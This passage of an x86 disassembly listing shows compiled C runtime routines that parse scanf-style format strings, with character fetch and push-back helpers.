[ebp+arg_0] loc_4142F8: ; CODE XREF: sub_4142A8+27j push 0 push dword_4BB8E0 call dword_41A160 ; RtlSizeHeap loc_414306: ; CODE XREF: sub_4142A8+24j ; sub_4142A8+4Bj pop esi leave retn sub_4142A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414309 proc near ; CODE XREF: sub_40F871+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_414D0F mov edi, [ebp+arg_0] jmp short loc_414338 ; --------------------------------------------------------------------------- loc_414333: ; CODE XREF: sub_414309+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_414338: ; CODE XREF: sub_414309+28j cmp dword_424430, 1 jle short loc_414350 movzx eax, al push 8 push eax call sub_414E86 pop ecx pop ecx jmp short loc_41435F ; --------------------------------------------------------------------------- loc_414350: ; CODE XREF: sub_414309+36j mov ecx, off_424224 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41435F: ; CODE XREF: sub_414309+45j cmp eax, ebx jz short loc_414399 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_414D96 pop ecx pop ecx push eax call sub_414D7F movzx eax, byte ptr [esi+1] inc esi push eax call sub_417399 add esp, 0Ch loc_414387: ; CODE XREF: sub_414309+8Ej test eax, eax jz short loc_414399 movzx eax, byte ptr [esi+1] inc esi push eax call sub_417399 pop ecx jmp short loc_414387 ; --------------------------------------------------------------------------- loc_414399: ; CODE XREF: sub_414309+58j ; sub_414309+80j cmp byte ptr [esi], 25h jnz loc_414C7B and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4143D0: ; CODE XREF: sub_414309+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_424430, 1 jle short loc_4143ED movzx eax, bl push 4 push eax call sub_414E86 pop ecx pop ecx jmp short loc_4143FC ; --------------------------------------------------------------------------- loc_4143ED: ; CODE XREF: sub_414309+D3j mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4143FC: ; CODE XREF: sub_414309+E2j test eax, eax jz short loc_414412 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414412: ; CODE XREF: sub_414309+F5j cmp ebx, 4Eh jg short loc_414455 jz short loc_414477 cmp ebx, 2Ah jz short loc_414450 cmp ebx, 46h jz short loc_414477 cmp ebx, 49h jz short loc_414432 cmp ebx, 4Ch jnz short loc_414464 inc [ebp+var_D] jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414432: ; CODE XREF: sub_414309+11Dj cmp byte ptr [esi+1], 36h jnz short loc_414464 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_414464 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414450: ; CODE XREF: sub_414309+113j inc [ebp+var_E] jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414455: ; CODE XREF: sub_414309+10Cj cmp ebx, 68h jz short loc_414471 cmp ebx, 6Ch jz short loc_414469 cmp ebx, 77h jz short loc_41446C loc_414464: ; CODE XREF: sub_414309+122j ; sub_414309+12Dj ... inc [ebp+var_F] jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414469: ; CODE XREF: sub_414309+154j inc [ebp+var_D] loc_41446C: ; CODE XREF: sub_414309+159j inc [ebp+var_5] jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414471: ; CODE XREF: sub_414309+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_414477: ; CODE XREF: sub_414309+107j ; sub_414309+10Ej ... cmp [ebp+var_F], 0 jz loc_4143D0 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41449C mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41449C: ; CODE XREF: sub_414309+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4144BA mov al, [esi] cmp al, 53h jz short loc_4144B6 cmp al, 43h jz short loc_4144B6 or [ebp+var_5], 0FFh jmp short loc_4144BA ; --------------------------------------------------------------------------- loc_4144B6: ; CODE XREF: sub_414309+1A1j ; sub_414309+1A5j mov [ebp+var_5], 1 loc_4144BA: ; CODE XREF: sub_414309+19Bj ; sub_414309+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4144F3 cmp esi, 63h jz short loc_4144E4 cmp esi, 7Bh jz short loc_4144E4 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_414D96 pop ecx jmp short loc_4144EF ; --------------------------------------------------------------------------- loc_4144E4: ; CODE XREF: sub_414309+1C5j ; sub_414309+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 loc_4144EF: ; CODE XREF: sub_414309+1D9j pop ecx mov [ebp+var_14], eax loc_4144F3: ; CODE XREF: sub_414309+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_414503 cmp [ebp+var_C], eax jz loc_414CDF loc_414503: ; CODE XREF: sub_414309+1EFj cmp esi, 6Fh jg loc_41476A jz loc_414A1C cmp esi, 63h jz loc_414747 cmp esi, 64h jz loc_414A1C jle loc_414794 cmp esi, 67h jle short loc_414567 cmp esi, 69h jz short loc_41454F cmp esi, 6Eh jnz loc_414794 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_414C4A jmp loc_414C70 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_414309+229j push 64h pop esi loc_414552: ; CODE XREF: sub_414309+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4147DC mov [ebp+var_17], 1 jmp loc_4147E1 ; --------------------------------------------------------------------------- loc_414567: ; CODE XREF: sub_414309+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_414583 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_414588 ; --------------------------------------------------------------------------- loc_414583: ; CODE XREF: sub_414309+26Aj cmp ebx, 2Bh jnz short loc_41459F loc_414588: ; CODE XREF: sub_414309+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4145A2 ; --------------------------------------------------------------------------- loc_41459F: ; CODE XREF: sub_414309+27Dj mov edi, [ebp+arg_0] loc_4145A2: ; CODE XREF: sub_414309+294j cmp [ebp+var_20], 0 jz short loc_4145B1 cmp [ebp+var_C], 15Dh jle short loc_4145B8 loc_4145B1: ; CODE XREF: sub_414309+29Dj mov [ebp+var_C], 15Dh loc_4145B8: ; CODE XREF: sub_414309+2A6j ; sub_414309+2F2j cmp dword_424430, 1 jle short loc_4145CD push 4 push ebx call sub_414E86 pop ecx pop ecx jmp short loc_4145D8 ; --------------------------------------------------------------------------- loc_4145CD: ; CODE XREF: sub_414309+2B6j mov eax, off_424224 mov al, [eax+ebx*2] and eax, 4 loc_4145D8: ; CODE XREF: sub_414309+2C2j test eax, eax jz short loc_4145FD mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4145FD inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4145B8 ; --------------------------------------------------------------------------- loc_4145FD: ; CODE XREF: sub_414309+2D1j ; sub_414309+2DBj cmp byte_424434, bl jnz short loc_41466B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41466B inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax mov al, byte_424434 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_414626: ; CODE XREF: sub_414309+360j cmp dword_424430, 1 jle short loc_41463B push 4 push ebx call sub_414E86 pop ecx pop ecx jmp short loc_414646 ; --------------------------------------------------------------------------- loc_41463B: ; CODE XREF: sub_414309+324j mov eax, off_424224 mov al, [eax+ebx*2] and eax, 4 loc_414646: ; CODE XREF: sub_414309+330j test eax, eax jz short loc_41466B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41466B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_414626 ; --------------------------------------------------------------------------- loc_41466B: ; CODE XREF: sub_414309+2FAj ; sub_414309+304j ... cmp [ebp+var_1C], 0 jz loc_414703 cmp ebx, 65h jz short loc_414683 cmp ebx, 45h jnz loc_414703 loc_414683: ; CODE XREF: sub_414309+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_414703 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4146AA mov [esi], al inc esi jmp short loc_4146AF ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414309+39Aj cmp ebx, 2Bh jnz short loc_4146CD loc_4146AF: ; CODE XREF: sub_414309+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4146BE and [ebp+var_C], eax jmp short loc_4146CD ; --------------------------------------------------------------------------- loc_4146BE: ; CODE XREF: sub_414309+3AEj ; sub_414309+3F8j inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4146CD: ; CODE XREF: sub_414309+3A4j ; sub_414309+3B3j cmp dword_424430, 1 jle short loc_4146E2 push 4 push ebx call sub_414E86 pop ecx pop ecx jmp short loc_4146ED ; --------------------------------------------------------------------------- loc_4146E2: ; CODE XREF: sub_414309+3CBj mov eax, off_424224 mov al, [eax+ebx*2] and eax, 4 loc_4146ED: ; CODE XREF: sub_414309+3D7j test eax, eax jz short loc_414703 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_414703 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4146BE ; --------------------------------------------------------------------------- loc_414703: ; CODE XREF: sub_414309+366j ; sub_414309+374j ... dec [ebp+var_4] push edi push ebx call sub_414D7F cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_414D0F cmp [ebp+var_E], 0 jnz loc_414C70 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_4241F0 add esp, 0Ch jmp loc_414C70 ; --------------------------------------------------------------------------- loc_414747: ; CODE XREF: sub_414309+20Cj cmp [ebp+var_20], eax jnz short loc_414756 inc [ebp+var_C] mov [ebp+var_20], 1 loc_414756: ; CODE XREF: sub_414309+441j cmp [ebp+var_5], 0 jle short loc_414760 mov [ebp+var_16], 1 loc_414760: ; CODE XREF: sub_414309+451j mov edi, offset dword_424220 jmp loc_414875 ; --------------------------------------------------------------------------- loc_41476A: ; CODE XREF: sub_414309+1FDj mov eax, esi sub eax, 70h jz loc_414A18 sub eax, 3 jz loc_414866 dec eax dec eax jz loc_414A1C sub eax, 3 jz loc_414552 sub eax, 3 jz short loc_4147B8 loc_414794: ; CODE XREF: sub_414309+21Bj ; sub_414309+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_414CDF dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_414C70 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_414C70 ; --------------------------------------------------------------------------- loc_4147B8: ; CODE XREF: sub_414309+489j cmp [ebp+var_5], 0 jle short loc_4147C2 mov [ebp+var_16], 1 loc_4147C2: ; CODE XREF: sub_414309+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_414879 mov eax, edi lea edi, [eax+1] jmp loc_414875 ; --------------------------------------------------------------------------- loc_4147DC: ; CODE XREF: sub_414309+24Fj cmp ebx, 2Bh jnz short loc_414803 loc_4147E1: ; CODE XREF: sub_414309+259j dec [ebp+var_C] jnz short loc_4147F2 cmp [ebp+var_20], 0 jz short loc_4147F2 mov [ebp+var_F], 1 jmp short loc_414803 ; --------------------------------------------------------------------------- loc_4147F2: ; CODE XREF: sub_414309+4DBj ; sub_414309+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_414803: ; CODE XREF: sub_414309+4D6j ; sub_414309+4E7j cmp ebx, 30h jnz loc_414A51 push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_414851 cmp bl, 58h jz short loc_414851 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41483B push 6Fh loc_414835: ; CODE XREF: sub_414309+55Bj pop esi jmp loc_414A51 ; --------------------------------------------------------------------------- loc_41483B: ; CODE XREF: sub_414309+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_414D7F pop ecx pop ecx push 30h pop ebx jmp loc_414A4E ; --------------------------------------------------------------------------- loc_414851: ; CODE XREF: sub_414309+517j ; sub_414309+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_414835 ; --------------------------------------------------------------------------- loc_414866: ; CODE XREF: sub_414309+46Fj cmp [ebp+var_5], 0 jle short loc_414870 mov [ebp+var_16], 1 loc_414870: ; CODE XREF: sub_414309+561j mov edi, offset dword_424218 loc_414875: ; CODE XREF: sub_414309+45Cj ; sub_414309+4CEj or [ebp+var_18], 0FFh loc_414879: ; CODE XREF: sub_414309+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_40E800 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41489D cmp byte ptr [edi], 5Dh jnz short loc_41489D mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_4148A0 ; --------------------------------------------------------------------------- loc_41489D: ; CODE XREF: sub_414309+584j ; sub_414309+589j mov dl, [ebp+var_35] loc_4148A0: ; CODE XREF: sub_414309+592j ; sub_414309+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_414905 inc edi cmp al, 2Dh jnz short loc_4148EC test dl, dl jz short loc_4148EC mov cl, [edi] cmp cl, 5Dh jz short loc_4148EC inc edi cmp dl, cl jnb short loc_4148BF mov al, cl jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BF: ; CODE XREF: sub_414309+5B0j mov al, dl mov dl, cl loc_4148C3: ; CODE XREF: sub_414309+5B4j cmp dl, al ja short loc_4148E8 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_4148D0: ; CODE XREF: sub_414309+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_4148D0 loc_4148E8: ; CODE XREF: sub_414309+5BCj xor dl, dl jmp short loc_4148A0 ; --------------------------------------------------------------------------- loc_4148EC: ; CODE XREF: sub_414309+5A0j ; sub_414309+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_4148A0 ; --------------------------------------------------------------------------- loc_414905: ; CODE XREF: sub_414309+59Bj cmp byte ptr [edi], 0 jz loc_414D0F cmp [ebp+var_3C], 7Bh jnz short loc_414917 mov [ebp+arg_4], edi loc_414917: ; CODE XREF: sub_414309+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_414D7F pop ecx pop ecx loc_41492E: ; CODE XREF: sub_414309+6BCj ; sub_414309+6C4j cmp [ebp+var_20], 0 jz short loc_414942 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_4149DE loc_414942: ; CODE XREF: sub_414309+629j inc [ebp+var_4] push edi call sub_414D65 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_4149D2 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_4149D2 cmp [ebp+var_E], 0 jnz short loc_4149CA cmp [ebp+var_16], 0 jz short loc_4149BF mov ecx, off_424224 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41499E inc [ebp+var_4] push edi call sub_414D65 pop ecx mov [ebp+var_37], al loc_41499E: ; CODE XREF: sub_414309+686j push dword_424430 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4172D1 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_4149C2 ; --------------------------------------------------------------------------- loc_4149BF: ; CODE XREF: sub_414309+673j mov [esi], al inc esi loc_4149C2: ; CODE XREF: sub_414309+6B4j mov [ebp+var_2C], esi jmp loc_41492E ; --------------------------------------------------------------------------- loc_4149CA: ; CODE XREF: sub_414309+66Dj inc [ebp+var_30] jmp loc_41492E ; --------------------------------------------------------------------------- loc_4149D2: ; CODE XREF: sub_414309+649j ; sub_414309+667j dec [ebp+var_4] push edi push eax call sub_414D7F pop ecx pop ecx loc_4149DE: ; CODE XREF: sub_414309+633j cmp [ebp+var_30], esi jz loc_414D0F cmp [ebp+var_E], 0 jnz loc_414C70 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_414C70 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_414A10 and word ptr [eax], 0 jmp loc_414C70 ; --------------------------------------------------------------------------- loc_414A10: ; CODE XREF: sub_414309+6FCj and byte ptr [eax], 0 jmp loc_414C70 ; --------------------------------------------------------------------------- loc_414A18: ; CODE XREF: sub_414309+466j mov [ebp+var_D], 1 loc_414A1C: ; CODE XREF: sub_414309+203j ; sub_414309+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_414A2A mov [ebp+var_17], 1 jmp short loc_414A2F ; --------------------------------------------------------------------------- loc_414A2A: ; CODE XREF: sub_414309+719j cmp ebx, 2Bh jnz short loc_414A51 loc_414A2F: ; CODE XREF: sub_414309+71Fj dec [ebp+var_C] jnz short loc_414A40 cmp [ebp+var_20], 0 jz short loc_414A40 mov [ebp+var_F], 1 jmp short loc_414A51 ; --------------------------------------------------------------------------- loc_414A40: ; CODE XREF: sub_414309+729j ; sub_414309+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 pop ecx mov ebx, eax loc_414A4E: ; CODE XREF: sub_414309+543j mov [ebp+var_14], ebx loc_414A51: ; CODE XREF: sub_414309+4FDj ; sub_414309+52Dj ... cmp [ebp+var_30], 0 jz loc_414B6A cmp [ebp+var_F], 0 jnz loc_414B48 loc_414A65: ; CODE XREF: sub_414309+82Cj cmp esi, 78h jnz short loc_414AB9 cmp dword_424430, 1 jle short loc_414A82 push 80h push ebx call sub_414E86 pop ecx pop ecx jmp short loc_414A8F ; --------------------------------------------------------------------------- loc_414A82: ; CODE XREF: sub_414309+768j mov eax, off_424224 mov al, [eax+ebx*2] and eax, 80h loc_414A8F: ; CODE XREF: sub_414309+777j test eax, eax jz loc_414B3A mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4173D0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_414D2E mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_414B0C ; --------------------------------------------------------------------------- loc_414AB9: ; CODE XREF: sub_414309+75Fj cmp dword_424430, 1 jle short loc_414ACE push 4 push ebx call sub_414E86 pop ecx pop ecx jmp short loc_414AD9 ; --------------------------------------------------------------------------- loc_414ACE: ; CODE XREF: sub_414309+7B7j mov eax, off_424224 mov al, [eax+ebx*2] and eax, 4 loc_414AD9: ; CODE XREF: sub_414309+7C3j test eax, eax jz short loc_414B3A cmp esi, 6Fh jnz short loc_414AF7 cmp ebx, 38h jge short loc_414B3A mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4173D0 jmp short loc_414B06 ; --------------------------------------------------------------------------- loc_414AF7: ; CODE XREF: sub_414309+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4106D0 loc_414B06: ; CODE XREF: sub_414309+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_414B0C: ; CODE XREF: sub_414309+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_414B24 dec [ebp+var_C] jz short loc_414B48 loc_414B24: ; CODE XREF: sub_414309+814j push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_414A65 ; --------------------------------------------------------------------------- loc_414B3A: ; CODE XREF: sub_414309+788j ; sub_414309+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_414D7F pop ecx pop ecx loc_414B48: ; CODE XREF: sub_414309+756j ; sub_414309+819j cmp [ebp+var_17], 0 jz loc_414C2E mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_414C2E ; --------------------------------------------------------------------------- loc_414B6A: ; CODE XREF: sub_414309+74Cj cmp [ebp+var_F], 0 jnz loc_414C26 loc_414B74: ; CODE XREF: sub_414309+90Aj cmp esi, 78h jz short loc_414BB8 cmp esi, 70h jz short loc_414BB8 cmp dword_424430, 1 jle short loc_414B93 push 4 push ebx call sub_414E86 pop ecx pop ecx jmp short loc_414B9E ; --------------------------------------------------------------------------- loc_414B93: ; CODE XREF: sub_414309+87Cj mov eax, off_424224 mov al, [eax+ebx*2] and eax, 4 loc_414B9E: ; CODE XREF: sub_414309+888j test eax, eax jz short loc_414C18 cmp esi, 6Fh jnz short loc_414BB1 cmp ebx, 38h jge short loc_414C18 shl edi, 3 jmp short loc_414BF0 ; --------------------------------------------------------------------------- loc_414BB1: ; CODE XREF: sub_414309+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_414BF0 ; --------------------------------------------------------------------------- loc_414BB8: ; CODE XREF: sub_414309+86Ej ; sub_414309+873j cmp dword_424430, 1 jle short loc_414BD0 push 80h push ebx call sub_414E86 pop ecx pop ecx jmp short loc_414BDD ; --------------------------------------------------------------------------- loc_414BD0: ; CODE XREF: sub_414309+8B6j mov eax, off_424224 mov al, [eax+ebx*2] and eax, 80h loc_414BDD: ; CODE XREF: sub_414309+8C5j test eax, eax jz short loc_414C18 push ebx shl edi, 4 call sub_414D2E mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_414BF0: ; CODE XREF: sub_414309+8A6j ; sub_414309+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_414C02 dec [ebp+var_C] jz short loc_414C26 loc_414C02: ; CODE XREF: sub_414309+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_414D65 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_414B74 ; --------------------------------------------------------------------------- loc_414C18: ; CODE XREF: sub_414309+897j ; sub_414309+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_414D7F pop ecx pop ecx loc_414C26: ; CODE XREF: sub_414309+865j ; sub_414309+8F7j cmp [ebp+var_17], 0 jz short loc_414C2E neg edi loc_414C2E: ; CODE XREF: sub_414309+843j ; sub_414309+85Cj ... cmp esi, 46h jnz short loc_414C37 and [ebp+var_1C], 0 loc_414C37: ; CODE XREF: sub_414309+928j cmp [ebp+var_1C], 0 jz loc_414D0F cmp [ebp+var_E], 0 jnz short loc_414C70 inc [ebp+var_34] loc_414C4A: ; CODE XREF: sub_414309+23Bj cmp [ebp+var_30], 0 jz short loc_414C60 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_414C70 ; --------------------------------------------------------------------------- loc_414C60: ; CODE XREF: sub_414309+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_414C6D mov [eax], edi jmp short loc_414C70 ; --------------------------------------------------------------------------- loc_414C6D: ; CODE XREF: sub_414309+95Ej mov [eax], di loc_414C70: ; CODE XREF: sub_414309+241j ; sub_414309+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_414CBD ; --------------------------------------------------------------------------- loc_414C7B: ; CODE XREF: sub_414309+93j inc [ebp+var_4] push edi call sub_414D65 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_414CEA mov ecx, off_424224 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_414CBD inc [ebp+var_4] push edi call sub_414D65 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_414CF8 dec [ebp+var_4] loc_414CBD: ; CODE XREF: sub_414309+970j ; sub_414309+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_414CD3 cmp byte ptr [esi], 25h jnz short loc_414D15 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_414D15 mov esi, eax loc_414CD3: ; CODE XREF: sub_414309+9B8j mov al, [esi] test al, al jnz loc_414333 jmp short loc_414D0F ; --------------------------------------------------------------------------- loc_414CDF: ; CODE XREF: sub_414309+1F4j ; sub_414309+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_414CEF ; --------------------------------------------------------------------------- loc_414CEA: ; CODE XREF: sub_414309+98Aj dec [ebp+var_4] push edi push ebx loc_414CEF: ; CODE XREF: sub_414309+9DFj call sub_414D7F pop ecx pop ecx jmp short loc_414D0F ; --------------------------------------------------------------------------- loc_414CF8: ; CODE XREF: sub_414309+9AFj dec [ebp+var_4] push edi push eax call sub_414D7F dec [ebp+var_4] push edi push ebx call sub_414D7F add esp, 10h loc_414D0F: ; CODE XREF: sub_414309+1Fj ; sub_414309+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_414D26 loc_414D15: ; CODE XREF: sub_414309+9BDj ; sub_414309+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_414D29 cmp [ebp+var_15], al jnz short loc_414D29 or eax, 0FFFFFFFFh jmp short loc_414D29 ; --------------------------------------------------------------------------- loc_414D26: ; CODE XREF: sub_414309+A0Aj mov eax, [ebp+var_34] loc_414D29: ; CODE XREF: sub_414309+A11j ; sub_414309+A16j ... pop edi pop esi pop ebx leave retn sub_414309 endp ; =============== S U B R O U T I N E ======================================= sub_414D2E proc near ; CODE XREF: sub_414309+7A3p ; sub_414309+8DCp arg_0 = dword ptr 4 cmp dword_424430, 1 push esi jle short loc_414D48 mov esi, [esp+4+arg_0] push 4 push esi call sub_414E86 pop ecx pop ecx jmp short loc_414D57 ; --------------------------------------------------------------------------- loc_414D48: ; CODE XREF: sub_414D2E+8j mov esi, [esp+4+arg_0] mov eax, off_424224 mov al, [eax+esi*2] and eax, 4 loc_414D57: ; CODE XREF: sub_414D2E+18j test eax, eax jnz short loc_414D61 and esi, 0FFFFFFDFh sub esi, 7 loc_414D61: ; CODE XREF: sub_414D2E+2Bj mov eax, esi pop esi retn sub_414D2E endp ; =============== S U B R O U T I N E ======================================= sub_414D65 proc near ; CODE XREF: sub_414309+1E1p ; sub_414309+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_414D77 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_414D77: ; CODE XREF: sub_414D65+7j push edx call sub_4150E6 pop ecx retn sub_414D65 endp ; =============== S U B R O U T I N E ======================================= sub_414D7F proc near ; CODE XREF: sub_414309+6Bp ; sub_414309+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_414D95 push [esp+arg_4] push [esp+4+arg_0] call sub_4173EF pop ecx pop ecx 